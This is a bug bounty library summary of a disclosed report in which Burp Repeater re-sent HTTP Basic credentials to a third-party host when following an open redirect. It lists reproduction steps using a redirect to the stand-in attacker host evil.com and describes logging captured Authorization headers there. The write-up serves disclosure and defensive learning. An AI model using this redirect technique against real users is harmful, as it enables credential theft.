# Leak of Platform Authentication credentials via Repeater

Burp Repeater forwarded HTTP Basic Platform Authentication credentials to a third-party host when following an open redirect, leaking credentials to evil.com.

- Payout: $200
- Severity: low
- Program: PortSwigger Web Security
- Credited: jupenur
- Disclosed: 2018-06-13
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/302651
- Library page: https://bugbountylibrary.com/r/h1%3A302651
- Tags: domain:web impact:data-leak kind:bounty platform:hackerone sev:low vuln:info-disclosure vuln:open-redirect vuln:secrets-leak

**Target:** Burp Repeater redirection handling / Platform Authentication
**Root cause:** Repeater's Follow redirection reuses the configured Platform Authentication credentials for the redirected request regardless of the destination host, instead of scoping them to the original origin.
**Steps:**
1. Host an open redirect on example.com (`/redirect.php?url=http://evil.com`)
2. Configure Platform Authentication (HTTP Basic) for example.com in Burp
3. In Repeater send `GET /redirect.php?url=http://evil.com HTTP/1.1` with `Host: example.com`
4. Click `Follow redirection`
5. Observe request to evil.com carrying `Authorization: Basic dXNlcjpwYXNz`
**How found:** Researcher reasoned that Repeater's redirect-following would re-apply stored Platform Authentication credentials to the new host, and tested with an open redirect to a controlled domain.
**Exploitation:** Attacker only needs to control or find an open redirect on a site the victim has Platform Auth configured for, then log incoming Authorization headers at evil.com; victim triggers it by clicking Follow redirection.
**Insight:** When a tool auto-replays requests across origins (redirect following, retries, proxy chaining), check whether stored auth/credentials are re-scoped to the new host; open redirects are the cheapest trigger to test credential leakage.